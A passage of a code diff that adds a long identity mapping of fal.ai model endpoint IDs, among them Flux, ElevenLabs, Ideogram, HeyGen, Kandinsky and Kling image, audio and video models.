'fal-ai/chatterbox/text-to-speech': 'fal-ai/chatterbox/text-to-speech', + 'fal-ai/chatterbox/text-to-speech/multilingual': + 'fal-ai/chatterbox/text-to-speech/multilingual', + 'fal-ai/clarity-upscaler': 'fal-ai/clarity-upscaler', + 'fal-ai/codeformer': 'fal-ai/codeformer', + 'fal-ai/cohere-transcribe': 'fal-ai/cohere-transcribe', + 'fal-ai/control-light': 'fal-ai/control-light', + 'fal-ai/creatify/aurora': 'fal-ai/creatify/aurora', + 'fal-ai/creative-upscaler': 'fal-ai/creative-upscaler', + 'fal-ai/csm-1b': 'fal-ai/csm-1b', + 'fal-ai/davinci-magihuman': 'fal-ai/davinci-magihuman', + 'fal-ai/ddcolor': 'fal-ai/ddcolor', + 'fal-ai/deepfilternet3': 'fal-ai/deepfilternet3', + 'fal-ai/demucs': 'fal-ai/demucs', + 'fal-ai/depth-anything-video': 'fal-ai/depth-anything-video', + 'fal-ai/dia-tts': 'fal-ai/dia-tts', + 'fal-ai/dia-tts/voice-clone': 'fal-ai/dia-tts/voice-clone', + 'fal-ai/dwpose': 'fal-ai/dwpose', + 'fal-ai/dwpose/video': 'fal-ai/dwpose/video', + 'fal-ai/echomimic-v3': 'fal-ai/echomimic-v3', + 'fal-ai/elevenlabs/audio-isolation': 'fal-ai/elevenlabs/audio-isolation', + 'fal-ai/elevenlabs/dubbing': 'fal-ai/elevenlabs/dubbing', + 'fal-ai/elevenlabs/forced-alignment': 'fal-ai/elevenlabs/forced-alignment', + 'fal-ai/elevenlabs/music': 'fal-ai/elevenlabs/music', + 'fal-ai/elevenlabs/sound-effects/v2': 'fal-ai/elevenlabs/sound-effects/v2', + 'fal-ai/elevenlabs/speech-to-text': 'fal-ai/elevenlabs/speech-to-text', + 'fal-ai/elevenlabs/speech-to-text/scribe-v2': + 'fal-ai/elevenlabs/speech-to-text/scribe-v2', + 'fal-ai/elevenlabs/text-to-dialogue/eleven-v3': + 'fal-ai/elevenlabs/text-to-dialogue/eleven-v3', + 'fal-ai/elevenlabs/tts/eleven-v3': 'fal-ai/elevenlabs/tts/eleven-v3', + 'fal-ai/elevenlabs/tts/multilingual-v2': + 'fal-ai/elevenlabs/tts/multilingual-v2', + 'fal-ai/elevenlabs/tts/turbo-v2.5': 'fal-ai/elevenlabs/tts/turbo-v2.5', + 'fal-ai/elevenlabs/voice-changer': 'fal-ai/elevenlabs/voice-changer', + 'fal-ai/emu-3.5-image/edit-image': 'fal-ai/emu-3.5-image/edit-image', + 'fal-ai/emu-3.5-image/text-to-image': 'fal-ai/emu-3.5-image/text-to-image', + 'fal-ai/ernie-image': 'fal-ai/ernie-image', + 'fal-ai/ernie-image/lora': 'fal-ai/ernie-image/lora', + 'fal-ai/ernie-image/lora/turbo': 'fal-ai/ernie-image/lora/turbo', + 'fal-ai/ernie-image/turbo': 'fal-ai/ernie-image/turbo', + 'fal-ai/esrgan': 'fal-ai/esrgan', + 'fal-ai/evf-sam': 'fal-ai/evf-sam', + 'fal-ai/f5-tts': 'fal-ai/f5-tts', + 'fal-ai/fashn/tryon/v1.5': 'fal-ai/fashn/tryon/v1.5', + 'fal-ai/fashn/tryon/v1.6': 'fal-ai/fashn/tryon/v1.6', + 'fal-ai/fast-lcm-diffusion': 'fal-ai/fast-lcm-diffusion', + 'fal-ai/fast-lcm-diffusion/image-to-image': + 'fal-ai/fast-lcm-diffusion/image-to-image', + 'fal-ai/fast-lcm-diffusion/inpainting': + 'fal-ai/fast-lcm-diffusion/inpainting', + 'fal-ai/fast-lightning-sdxl': 'fal-ai/fast-lightning-sdxl', + 'fal-ai/fast-lightning-sdxl/image-to-image': + 'fal-ai/fast-lightning-sdxl/image-to-image', + 'fal-ai/fast-lightning-sdxl/inpainting': + 'fal-ai/fast-lightning-sdxl/inpainting', + 'fal-ai/fast-sdxl': 'fal-ai/fast-sdxl', + 'fal-ai/fast-sdxl/image-to-image': 'fal-ai/fast-sdxl/image-to-image', + 'fal-ai/fast-sdxl/inpainting': 'fal-ai/fast-sdxl/inpainting', + 'fal-ai/feynobg': 'fal-ai/feynobg', + 'fal-ai/ffmpeg-api/compose': 'fal-ai/ffmpeg-api/compose', + 'fal-ai/ffmpeg-api/extract-frame': 'fal-ai/ffmpeg-api/extract-frame', + 'fal-ai/ffmpeg-api/images-to-video': 'fal-ai/ffmpeg-api/images-to-video', + 'fal-ai/ffmpeg-api/merge-audio-video': 'fal-ai/ffmpeg-api/merge-audio-video', + 'fal-ai/ffmpeg-api/merge-audios': 'fal-ai/ffmpeg-api/merge-audios', + 'fal-ai/ffmpeg-api/merge-videos': 'fal-ai/ffmpeg-api/merge-videos', + 'fal-ai/film': 'fal-ai/film', + 'fal-ai/film/video': 'fal-ai/film/video', + 'fal-ai/finegrain-eraser': 'fal-ai/finegrain-eraser', + 'fal-ai/finegrain-eraser/bbox': 'fal-ai/finegrain-eraser/bbox', + 'fal-ai/finegrain-eraser/mask': 'fal-ai/finegrain-eraser/mask', + 'fal-ai/firered-image-edit-v1.1': 'fal-ai/firered-image-edit-v1.1', + 'fal-ai/flashhead': 'fal-ai/flashhead', + 'fal-ai/florence-2-large/caption-to-phrase-grounding': + 'fal-ai/florence-2-large/caption-to-phrase-grounding', + 'fal-ai/florence-2-large/dense-region-caption': + 'fal-ai/florence-2-large/dense-region-caption', + 'fal-ai/florence-2-large/object-detection': + 'fal-ai/florence-2-large/object-detection', + 'fal-ai/florence-2-large/ocr-with-region': + 'fal-ai/florence-2-large/ocr-with-region', + 'fal-ai/florence-2-large/open-vocabulary-detection': + 'fal-ai/florence-2-large/open-vocabulary-detection', + 'fal-ai/florence-2-large/referring-expression-segmentation': + 'fal-ai/florence-2-large/referring-expression-segmentation', + 'fal-ai/florence-2-large/region-proposal': + 'fal-ai/florence-2-large/region-proposal', + 'fal-ai/florence-2-large/region-to-segmentation': + 'fal-ai/florence-2-large/region-to-segmentation', + 'fal-ai/flux-1/dev': 'fal-ai/flux-1/dev', + 'fal-ai/flux-1/dev/image-to-image': 'fal-ai/flux-1/dev/image-to-image', + 'fal-ai/flux-1/dev/redux': 'fal-ai/flux-1/dev/redux', + 'fal-ai/flux-1/krea': 'fal-ai/flux-1/krea', + 'fal-ai/flux-1/krea/image-to-image': 'fal-ai/flux-1/krea/image-to-image', + 'fal-ai/flux-1/krea/redux': 'fal-ai/flux-1/krea/redux', + 'fal-ai/flux-1/schnell': 'fal-ai/flux-1/schnell', + 'fal-ai/flux-1/schnell/redux': 'fal-ai/flux-1/schnell/redux', + 'fal-ai/flux-1/srpo': 'fal-ai/flux-1/srpo', + 'fal-ai/flux-1/srpo/image-to-image': 'fal-ai/flux-1/srpo/image-to-image', + 'fal-ai/flux-2': 'fal-ai/flux-2', + 'fal-ai/flux-2-flex': 'fal-ai/flux-2-flex', + 'fal-ai/flux-2-flex/edit': 'fal-ai/flux-2-flex/edit', + 'fal-ai/flux-2-lora-gallery/add-background': + 'fal-ai/flux-2-lora-gallery/add-background', + 'fal-ai/flux-2-lora-gallery/apartment-staging': + 'fal-ai/flux-2-lora-gallery/apartment-staging', + 'fal-ai/flux-2-lora-gallery/ballpoint-pen-sketch': + 'fal-ai/flux-2-lora-gallery/ballpoint-pen-sketch', + 'fal-ai/flux-2-lora-gallery/digital-comic-art': + 'fal-ai/flux-2-lora-gallery/digital-comic-art', + 'fal-ai/flux-2-lora-gallery/face-to-full-portrait': + 'fal-ai/flux-2-lora-gallery/face-to-full-portrait', + 'fal-ai/flux-2-lora-gallery/hdr-style': + 'fal-ai/flux-2-lora-gallery/hdr-style', + 'fal-ai/flux-2-lora-gallery/multiple-angles': + 'fal-ai/flux-2-lora-gallery/multiple-angles', + 'fal-ai/flux-2-lora-gallery/realism': 'fal-ai/flux-2-lora-gallery/realism', + 'fal-ai/flux-2-lora-gallery/satellite-view-style': + 'fal-ai/flux-2-lora-gallery/satellite-view-style', + 'fal-ai/flux-2-lora-gallery/sepia-vintage': + 'fal-ai/flux-2-lora-gallery/sepia-vintage', + 'fal-ai/flux-2-lora-gallery/virtual-tryon': + 'fal-ai/flux-2-lora-gallery/virtual-tryon', + 'fal-ai/flux-2-max': 'fal-ai/flux-2-max', + 'fal-ai/flux-2-max/edit': 'fal-ai/flux-2-max/edit', + 'fal-ai/flux-2-pro': 'fal-ai/flux-2-pro', + 'fal-ai/flux-2-pro/edit': 'fal-ai/flux-2-pro/edit', + 'fal-ai/flux-2-pro/outpaint': 'fal-ai/flux-2-pro/outpaint', + 'fal-ai/flux-2/edit': 'fal-ai/flux-2/edit', + 'fal-ai/flux-2/flash': 'fal-ai/flux-2/flash', + 'fal-ai/flux-2/flash/edit': 'fal-ai/flux-2/flash/edit', + 'fal-ai/flux-2/klein/4b': 'fal-ai/flux-2/klein/4b', + 'fal-ai/flux-2/klein/4b/base': 'fal-ai/flux-2/klein/4b/base', + 'fal-ai/flux-2/klein/4b/base/edit': 'fal-ai/flux-2/klein/4b/base/edit', + 'fal-ai/flux-2/klein/4b/base/edit/lora': + 'fal-ai/flux-2/klein/4b/base/edit/lora', + 'fal-ai/flux-2/klein/4b/base/lora': 'fal-ai/flux-2/klein/4b/base/lora', + 'fal-ai/flux-2/klein/4b/edit': 'fal-ai/flux-2/klein/4b/edit', + 'fal-ai/flux-2/klein/4b/edit/lora': 'fal-ai/flux-2/klein/4b/edit/lora', + 'fal-ai/flux-2/klein/4b/lora': 'fal-ai/flux-2/klein/4b/lora', + 'fal-ai/flux-2/klein/9b': 'fal-ai/flux-2/klein/9b', + 'fal-ai/flux-2/klein/9b/base': 'fal-ai/flux-2/klein/9b/base', + 'fal-ai/flux-2/klein/9b/base/edit': 'fal-ai/flux-2/klein/9b/base/edit', + 'fal-ai/flux-2/klein/9b/base/edit/lora': + 'fal-ai/flux-2/klein/9b/base/edit/lora', + 'fal-ai/flux-2/klein/9b/base/lora': 'fal-ai/flux-2/klein/9b/base/lora', + 'fal-ai/flux-2/klein/9b/edit': 'fal-ai/flux-2/klein/9b/edit', + 'fal-ai/flux-2/klein/9b/edit/lora': 'fal-ai/flux-2/klein/9b/edit/lora', + 'fal-ai/flux-2/klein/9b/lora': 'fal-ai/flux-2/klein/9b/lora', + 'fal-ai/flux-2/klein/realtime': 'fal-ai/flux-2/klein/realtime', + 'fal-ai/flux-2/lora': 'fal-ai/flux-2/lora', + 'fal-ai/flux-2/lora/edit': 'fal-ai/flux-2/lora/edit', + 'fal-ai/flux-2/turbo': 'fal-ai/flux-2/turbo', + 'fal-ai/flux-2/turbo/edit': 'fal-ai/flux-2/turbo/edit', + 'fal-ai/flux-3-action/so101': 'fal-ai/flux-3-action/so101', + 'fal-ai/flux-general': 'fal-ai/flux-general', + 'fal-ai/flux-general/differential-diffusion': + 'fal-ai/flux-general/differential-diffusion', + 'fal-ai/flux-general/image-to-image': 'fal-ai/flux-general/image-to-image', + 'fal-ai/flux-general/inpainting': 'fal-ai/flux-general/inpainting', + 'fal-ai/flux-general/rf-inversion': 'fal-ai/flux-general/rf-inversion', + 'fal-ai/flux-kontext-lora': 'fal-ai/flux-kontext-lora', + 'fal-ai/flux-kontext-lora/inpaint': 'fal-ai/flux-kontext-lora/inpaint', + 'fal-ai/flux-kontext-lora/text-to-image': + 'fal-ai/flux-kontext-lora/text-to-image', + 'fal-ai/flux-kontext/dev': 'fal-ai/flux-kontext/dev', + 'fal-ai/flux-krea-lora': 'fal-ai/flux-krea-lora', + 'fal-ai/flux-krea-lora/image-to-image': + 'fal-ai/flux-krea-lora/image-to-image', + 'fal-ai/flux-krea-lora/inpainting': 'fal-ai/flux-krea-lora/inpainting', + 'fal-ai/flux-krea-lora/stream': 'fal-ai/flux-krea-lora/stream', + 'fal-ai/flux-lora': 'fal-ai/flux-lora', + 'fal-ai/flux-lora-canny': 'fal-ai/flux-lora-canny', + 'fal-ai/flux-lora-depth': 'fal-ai/flux-lora-depth', + 'fal-ai/flux-lora-fill': 'fal-ai/flux-lora-fill', + 'fal-ai/flux-lora/image-to-image': 'fal-ai/flux-lora/image-to-image', + 'fal-ai/flux-lora/inpainting': 'fal-ai/flux-lora/inpainting', + 'fal-ai/flux-lora/stream': 'fal-ai/flux-lora/stream', + 'fal-ai/flux-pro/kontext': 'fal-ai/flux-pro/kontext', + 'fal-ai/flux-pro/kontext/max': 'fal-ai/flux-pro/kontext/max', + 'fal-ai/flux-pro/kontext/max/multi': 'fal-ai/flux-pro/kontext/max/multi', + 'fal-ai/flux-pro/kontext/max/text-to-image': + 'fal-ai/flux-pro/kontext/max/text-to-image', + 'fal-ai/flux-pro/kontext/multi': 'fal-ai/flux-pro/kontext/multi', + 'fal-ai/flux-pro/kontext/text-to-image': + 'fal-ai/flux-pro/kontext/text-to-image', + 'fal-ai/flux-pro/v1.1': 'fal-ai/flux-pro/v1.1', + 'fal-ai/flux-pro/v1.1-ultra': 'fal-ai/flux-pro/v1.1-ultra', + 'fal-ai/flux-pro/v1.1-ultra-finetuned': + 'fal-ai/flux-pro/v1.1-ultra-finetuned', + 'fal-ai/flux-pro/v1.1-ultra/redux': 'fal-ai/flux-pro/v1.1-ultra/redux', + 'fal-ai/flux-pro/v1.1/redux': 'fal-ai/flux-pro/v1.1/redux', + 'fal-ai/flux-pro/v1/erase': 'fal-ai/flux-pro/v1/erase', + 'fal-ai/flux-pro/v1/fill': 'fal-ai/flux-pro/v1/fill', + 'fal-ai/flux-pro/v1/fill-finetuned': 'fal-ai/flux-pro/v1/fill-finetuned', + 'fal-ai/flux-pro/v1/vto': 'fal-ai/flux-pro/v1/vto', + 'fal-ai/flux-pulid': 'fal-ai/flux-pulid', + 'fal-ai/flux-vision-upscaler': 'fal-ai/flux-vision-upscaler', + 'fal-ai/flux/dev': 'fal-ai/flux/dev', + 'fal-ai/flux/dev/image-to-image': 'fal-ai/flux/dev/image-to-image', + 'fal-ai/flux/dev/redux': 'fal-ai/flux/dev/redux', + 'fal-ai/flux/krea': 'fal-ai/flux/krea', + 'fal-ai/flux/krea/image-to-image': 'fal-ai/flux/krea/image-to-image', + 'fal-ai/flux/krea/redux': 'fal-ai/flux/krea/redux', + 'fal-ai/flux/schnell': 'fal-ai/flux/schnell', + 'fal-ai/flux/schnell/redux': 'fal-ai/flux/schnell/redux', + 'fal-ai/flux/srpo': 'fal-ai/flux/srpo', + 'fal-ai/flux/srpo/image-to-image': 'fal-ai/flux/srpo/image-to-image', + 'fal-ai/fooocus': 'fal-ai/fooocus', + 'fal-ai/fooocus/image-prompt': 'fal-ai/fooocus/image-prompt', + 'fal-ai/fooocus/inpaint': 'fal-ai/fooocus/inpaint', + 'fal-ai/fooocus/upscale-or-vary': 'fal-ai/fooocus/upscale-or-vary', + 'fal-ai/framepack': 'fal-ai/framepack', + 'fal-ai/framepack/f1': 'fal-ai/framepack/f1', + 'fal-ai/framepack/flf2v': 'fal-ai/framepack/flf2v', + 'fal-ai/gemini-25-flash-image': 'fal-ai/gemini-25-flash-image', + 'fal-ai/gemini-25-flash-image/edit': 'fal-ai/gemini-25-flash-image/edit', + 'fal-ai/gemini-3-pro-image-preview': 'fal-ai/gemini-3-pro-image-preview', + 'fal-ai/gemini-3-pro-image-preview/edit': + 'fal-ai/gemini-3-pro-image-preview/edit', + 'fal-ai/gemini-3.1-flash-image-preview': + 'fal-ai/gemini-3.1-flash-image-preview', + 'fal-ai/gemini-3.1-flash-image-preview/edit': + 'fal-ai/gemini-3.1-flash-image-preview/edit', + 'fal-ai/gemini-3.1-flash-tts': 'fal-ai/gemini-3.1-flash-tts', + 'fal-ai/gemini-tts': 'fal-ai/gemini-tts', + 'fal-ai/glm-image': 'fal-ai/glm-image', + 'fal-ai/glm-image/image-to-image': 'fal-ai/glm-image/image-to-image', + 'fal-ai/gpt-image-1-mini': 'fal-ai/gpt-image-1-mini', + 'fal-ai/gpt-image-1-mini/edit': 'fal-ai/gpt-image-1-mini/edit', + 'fal-ai/gpt-image-1.5': 'fal-ai/gpt-image-1.5', + 'fal-ai/gpt-image-1.5/edit': 'fal-ai/gpt-image-1.5/edit', + 'fal-ai/heygen/avatar3/digital-twin': 'fal-ai/heygen/avatar3/digital-twin', + 'fal-ai/heygen/avatar4/digital-twin': 'fal-ai/heygen/avatar4/digital-twin', + 'fal-ai/heygen/avatar4/image-to-video': + 'fal-ai/heygen/avatar4/image-to-video', + 'fal-ai/heygen/avatar5/digital-twin': 'fal-ai/heygen/avatar5/digital-twin', + 'fal-ai/heygen/v2/translate/precision': + 'fal-ai/heygen/v2/translate/precision', + 'fal-ai/heygen/v2/translate/speed': 'fal-ai/heygen/v2/translate/speed', + 'fal-ai/heygen/v2/video-agent': 'fal-ai/heygen/v2/video-agent', + 'fal-ai/heygen/v3/filler-word-removal': + 'fal-ai/heygen/v3/filler-word-removal', + 'fal-ai/heygen/v3/lipsync/precision': 'fal-ai/heygen/v3/lipsync/precision', + 'fal-ai/heygen/v3/lipsync/speed': 'fal-ai/heygen/v3/lipsync/speed', + 'fal-ai/heygen/v3/video-agent': 'fal-ai/heygen/v3/video-agent', + 'fal-ai/hidream-i1-fast': 'fal-ai/hidream-i1-fast', + 'fal-ai/hidream-i1-full': 'fal-ai/hidream-i1-full', + 'fal-ai/hidream-i1-full/image-to-image': + 'fal-ai/hidream-i1-full/image-to-image', + 'fal-ai/hidream-o1-image': 'fal-ai/hidream-o1-image', + 'fal-ai/hidream-o1-image/dev': 'fal-ai/hidream-o1-image/dev', + 'fal-ai/hidream-o1-image/dev/edit': 'fal-ai/hidream-o1-image/dev/edit', + 'fal-ai/hidream-o1-image/edit': 'fal-ai/hidream-o1-image/edit', + 'fal-ai/hunyuan_world': 'fal-ai/hunyuan_world', + 'fal-ai/hunyuan-image/v2.1/text-to-image': + 'fal-ai/hunyuan-image/v2.1/text-to-image', + 'fal-ai/hunyuan-image/v3/instruct/edit': + 'fal-ai/hunyuan-image/v3/instruct/edit', + 'fal-ai/hunyuan-image/v3/instruct/text-to-image': + 'fal-ai/hunyuan-image/v3/instruct/text-to-image', + 'fal-ai/hunyuan-image/v3/text-to-image': + 'fal-ai/hunyuan-image/v3/text-to-image', + 'fal-ai/hunyuan-video': 'fal-ai/hunyuan-video', + 'fal-ai/hunyuan-video-foley': 'fal-ai/hunyuan-video-foley', + 'fal-ai/hunyuan-video-image-to-video': 'fal-ai/hunyuan-video-image-to-video', + 'fal-ai/hunyuan-video-v1.5/image-to-video': + 'fal-ai/hunyuan-video-v1.5/image-to-video', + 'fal-ai/hunyuan-video-v1.5/text-to-video': + 'fal-ai/hunyuan-video-v1.5/text-to-video', + 'fal-ai/hunyuan-video/video-to-video': 'fal-ai/hunyuan-video/video-to-video', + 'fal-ai/hy-wu-edit': 'fal-ai/hy-wu-edit', + 'fal-ai/iclight-v2': 'fal-ai/iclight-v2', + 'fal-ai/id-v2v': 'fal-ai/id-v2v', + 'fal-ai/id-v2v/relight': 'fal-ai/id-v2v/relight', + 'fal-ai/ideogram/character': 'fal-ai/ideogram/character', + 'fal-ai/ideogram/character/edit': 'fal-ai/ideogram/character/edit', + 'fal-ai/ideogram/character/remix': 'fal-ai/ideogram/character/remix', + 'fal-ai/ideogram/object-removal': 'fal-ai/ideogram/object-removal', + 'fal-ai/ideogram/remove-background': 'fal-ai/ideogram/remove-background', + 'fal-ai/ideogram/upscale': 'fal-ai/ideogram/upscale', + 'fal-ai/ideogram/v2': 'fal-ai/ideogram/v2', + 'fal-ai/ideogram/v2/edit': 'fal-ai/ideogram/v2/edit', + 'fal-ai/ideogram/v2/remix': 'fal-ai/ideogram/v2/remix', + 'fal-ai/ideogram/v2/turbo': 'fal-ai/ideogram/v2/turbo', + 'fal-ai/ideogram/v2/turbo/edit': 'fal-ai/ideogram/v2/turbo/edit', + 'fal-ai/ideogram/v2/turbo/remix': 'fal-ai/ideogram/v2/turbo/remix', + 'fal-ai/ideogram/v2a': 'fal-ai/ideogram/v2a', + 'fal-ai/ideogram/v2a/remix': 'fal-ai/ideogram/v2a/remix', + 'fal-ai/ideogram/v2a/turbo': 'fal-ai/ideogram/v2a/turbo', + 'fal-ai/ideogram/v2a/turbo/remix': 'fal-ai/ideogram/v2a/turbo/remix', + 'fal-ai/ideogram/v3': 'fal-ai/ideogram/v3', + 'fal-ai/ideogram/v3/edit': 'fal-ai/ideogram/v3/edit', + 'fal-ai/ideogram/v3/generate-transparent': + 'fal-ai/ideogram/v3/generate-transparent', + 'fal-ai/ideogram/v3/layerize-text': 'fal-ai/ideogram/v3/layerize-text', + 'fal-ai/ideogram/v3/reframe': 'fal-ai/ideogram/v3/reframe', + 'fal-ai/ideogram/v3/remix': 'fal-ai/ideogram/v3/remix', + 'fal-ai/ideogram/v3/replace-background': + 'fal-ai/ideogram/v3/replace-background', + 'fal-ai/illusion-diffusion': 'fal-ai/illusion-diffusion', + 'fal-ai/image-apps-v2/age-modify': 'fal-ai/image-apps-v2/age-modify', + 'fal-ai/image-apps-v2/city-teleport': 'fal-ai/image-apps-v2/city-teleport', + 'fal-ai/image-apps-v2/expression-change': + 'fal-ai/image-apps-v2/expression-change', + 'fal-ai/image-apps-v2/hair-change': 'fal-ai/image-apps-v2/hair-change', + 'fal-ai/image-apps-v2/headshot-photo': 'fal-ai/image-apps-v2/headshot-photo', + 'fal-ai/image-apps-v2/makeup-application': + 'fal-ai/image-apps-v2/makeup-application', + 'fal-ai/image-apps-v2/object-removal': 'fal-ai/image-apps-v2/object-removal', + 'fal-ai/image-apps-v2/outpaint': 'fal-ai/image-apps-v2/outpaint', + 'fal-ai/image-apps-v2/perspective': 'fal-ai/image-apps-v2/perspective', + 'fal-ai/image-apps-v2/photo-restoration': + 'fal-ai/image-apps-v2/photo-restoration', + 'fal-ai/image-apps-v2/photography-effects': + 'fal-ai/image-apps-v2/photography-effects', + 'fal-ai/image-apps-v2/portrait-enhance': + 'fal-ai/image-apps-v2/portrait-enhance', + 'fal-ai/image-apps-v2/product-holding': + 'fal-ai/image-apps-v2/product-holding', + 'fal-ai/image-apps-v2/product-photography': + 'fal-ai/image-apps-v2/product-photography', + 'fal-ai/image-apps-v2/relighting': 'fal-ai/image-apps-v2/relighting', + 'fal-ai/image-apps-v2/style-transfer': 'fal-ai/image-apps-v2/style-transfer', + 'fal-ai/image-apps-v2/texture-transform': + 'fal-ai/image-apps-v2/texture-transform', + 'fal-ai/image-apps-v2/virtual-try-on': 'fal-ai/image-apps-v2/virtual-try-on', + 'fal-ai/image-editing/age-progression': + 'fal-ai/image-editing/age-progression', + 'fal-ai/image-editing/baby-version': 'fal-ai/image-editing/baby-version', + 'fal-ai/image-editing/background-change': + 'fal-ai/image-editing/background-change', + 'fal-ai/image-editing/broccoli-haircut': + 'fal-ai/image-editing/broccoli-haircut', + 'fal-ai/image-editing/cartoonify': 'fal-ai/image-editing/cartoonify', + 'fal-ai/image-editing/color-correction': + 'fal-ai/image-editing/color-correction', + 'fal-ai/image-editing/expression-change': + 'fal-ai/image-editing/expression-change', + 'fal-ai/image-editing/face-enhancement': + 'fal-ai/image-editing/face-enhancement', + 'fal-ai/image-editing/hair-change': 'fal-ai/image-editing/hair-change', + 'fal-ai/image-editing/object-removal': 'fal-ai/image-editing/object-removal', + 'fal-ai/image-editing/photo-restoration': + 'fal-ai/image-editing/photo-restoration', + 'fal-ai/image-editing/plushie-style': 'fal-ai/image-editing/plushie-style', + 'fal-ai/image-editing/professional-photo': + 'fal-ai/image-editing/professional-photo', + 'fal-ai/image-editing/realism': 'fal-ai/image-editing/realism', + 'fal-ai/image-editing/reframe': 'fal-ai/image-editing/reframe', + 'fal-ai/image-editing/retouch': 'fal-ai/image-editing/retouch', + 'fal-ai/image-editing/scene-composition': + 'fal-ai/image-editing/scene-composition', + 'fal-ai/image-editing/style-transfer': 'fal-ai/image-editing/style-transfer', + 'fal-ai/image-editing/text-removal': 'fal-ai/image-editing/text-removal', + 'fal-ai/image-editing/time-of-day': 'fal-ai/image-editing/time-of-day', + 'fal-ai/image-editing/weather-effect': 'fal-ai/image-editing/weather-effect', + 'fal-ai/image-editing/wojak-style': 'fal-ai/image-editing/wojak-style', + 'fal-ai/image-editing/youtube-thumbnails': + 'fal-ai/image-editing/youtube-thumbnails', + 'fal-ai/image-preprocessors/depth-anything/v2': + 'fal-ai/image-preprocessors/depth-anything/v2', + 'fal-ai/image-preprocessors/hed': 'fal-ai/image-preprocessors/hed', + 'fal-ai/image-preprocessors/lineart': 'fal-ai/image-preprocessors/lineart', + 'fal-ai/image-preprocessors/midas': 'fal-ai/image-preprocessors/midas', + 'fal-ai/image-preprocessors/mlsd': 'fal-ai/image-preprocessors/mlsd', + 'fal-ai/image-preprocessors/pidi': 'fal-ai/image-preprocessors/pidi', + 'fal-ai/image-preprocessors/sam': 'fal-ai/image-preprocessors/sam', + 'fal-ai/image-preprocessors/scribble': 'fal-ai/image-preprocessors/scribble', + 'fal-ai/image-preprocessors/teed': 'fal-ai/image-preprocessors/teed', + 'fal-ai/image-preprocessors/zoe': 'fal-ai/image-preprocessors/zoe', + 'fal-ai/image2pixel': 'fal-ai/image2pixel', + 'fal-ai/image2svg': 'fal-ai/image2svg', + 'fal-ai/imageutils/depth': 'fal-ai/imageutils/depth', + 'fal-ai/imageutils/marigold-depth': 'fal-ai/imageutils/marigold-depth', + 'fal-ai/imageutils/rembg': 'fal-ai/imageutils/rembg', + 'fal-ai/index-tts-2/text-to-speech': 'fal-ai/index-tts-2/text-to-speech', + 'fal-ai/infinity-star/text-to-video': 'fal-ai/infinity-star/text-to-video', + 'fal-ai/instant-character': 'fal-ai/instant-character', + 'fal-ai/inworld-tts': 'fal-ai/inworld-tts', + 'fal-ai/ip-adapter-face-id': 'fal-ai/ip-adapter-face-id', + 'fal-ai/kandinsky5-pro/image-to-video': + 'fal-ai/kandinsky5-pro/image-to-video', + 'fal-ai/kandinsky5-pro/text-to-video': 'fal-ai/kandinsky5-pro/text-to-video', + 'fal-ai/kandinsky5/text-to-video': 'fal-ai/kandinsky5/text-to-video', + 'fal-ai/kandinsky5/text-to-video/distill': + 'fal-ai/kandinsky5/text-to-video/distill', + 'fal-ai/kandinsky6-lite/image-to-video': + 'fal-ai/kandinsky6-lite/image-to-video', + 'fal-ai/kandinsky6-lite/text-to-video': + 'fal-ai/kandinsky6-lite/text-to-video', + 'fal-ai/kandinsky6-pro/image-to-video': + 'fal-ai/kandinsky6-pro/image-to-video', + 'fal-ai/kandinsky6-pro/text-to-video': 'fal-ai/kandinsky6-pro/text-to-video', + 'fal-ai/kandinsky6-vsr': 'fal-ai/kandinsky6-vsr', + 'fal-ai/kandinsky6-vsr/lite': 'fal-ai/kandinsky6-vsr/lite', + 'fal-ai/kling-image/o1': 'fal-ai/kling-image/o1', + 'fal-ai/kling-image/o3/image-to-image': + 'fal-ai/kling-image/o3/image-to-image', + 'fal-ai/kling-image/o3/text-to-image': 'fal-ai/kling-image/o3/text-to-image', + 'fal-ai/kling-image/v3/image-to-image': + 'fal-ai/kling-image/v3/image-to-image', + 'fal-ai/kling-image/v3/text-to-image': 'fal-ai/kling-image/v3/text-to-image', + 'fal-ai/kling-video/ai-avatar/v2/pro': 'fal-ai/kling-video/ai-avatar/v2/pro', + 'fal-ai/kling-video/ai-avatar/v2/standard': + 'fal-ai/kling-video/ai-avatar/v2/standard', + 'fal-ai/kling-video/create-voice': 'fal-ai/kling-video/create-voice', + 'fal-ai/kling-video/lipsync/audio-to-video': + 'fal-ai/kling-video/lipsync/audio-to-video', + 'fal-ai/kling-video/lipsync/text-to-video': + 'fal-ai/kling-video/lipsync/text-to-video', + 'fal-ai/kling-video/o1/image-to-video': + 'fal-ai/kling-video/o1/image-to-video', + 'fal-ai/kling-video/o1/reference-to-video': + 'fal-ai/kling-video/o1/reference-to-video', + 'fal-ai/kling-video/o1/standard/image-to-video': + 'fal-ai/kling-video/o1/standard/image-to-video', + 'fal-ai/kling-video/o1/standard/reference-to-video': + 'fal-ai/kling-video/o1/standard/reference-to-video', + 'fal-ai/kling-video/o1/standard/video-to-video/edit': + 'fal-ai/kling-video/o1/standard/video-to-video/edit', + 'fal-ai/kling-video/o1/standard/video-to-video/reference': + 'fal-ai/kling-video/o1/standard/video-to-video/reference', + 'fal-ai/kling-video/o1/video-to-video/edit': + 'fal-ai/kling-video/o1/video-to-video/edit', + 'fal-ai/kling-video/o1/video-to-video/reference': + 'fal-ai/kling-video/o1/video-to-video/reference', + 'fal-ai/kling-video/o3/4k/image-to-video': + 'fal-ai/kling-video/o3/4k/image-to-video', + 'fal-ai/kling-video/o3/4k/reference-to-video': + 'fal-ai/kling-video/o3/4k/reference-to-video', + 'fal-ai/kling-video/o3/4k/text-to-video': + 'fal-ai/kling-video/o3/4k/text-to-video', + 'fal-ai/kling-video/o3/4k/video-to-video/edit': + 'fal-ai/kling-video/o3/4k/video-to-video/edit', + 'fal-ai/kling-video/o3/4k/video-to-video/reference': + 'fal-ai/kling-video/o3/4k/video-to-video/reference', + 'fal-ai/kling-video/o3/pro/image-to-video': + 'fal-ai/kling-video/o3/pro/image-to-video', + 'fal-ai/kling-video/o3/pro/reference-to-video': + 'fal-ai/kling-video/o3/pro/reference-to-video', + 'fal-ai/kling-video/o3/pro/text-to-video': + 'fal-ai/kling-video/o3/pro/text-to-video', + 'fal-ai/kling-video/o3/pro/video-to-video/edit': + 'fal-ai/kling-video/o3/pro/video-to-video/edit', + 'fal-ai/kling-video/o3/pro/video-to-video/reference': + 'fal-ai/kling-video/o3/pro/video-to-video/reference', + 'fal-ai/kling-video/o3/standard/image-to-video': + 'fal-ai/kling-video/o3/standard/image-to-video', + 'fal-ai/kling-video/o3/standard/reference-to-video': + 'fal-ai/kling-video/o3/standard/reference-to-video', + 'fal-ai/kling-video/o3/standard/text-to-video': + 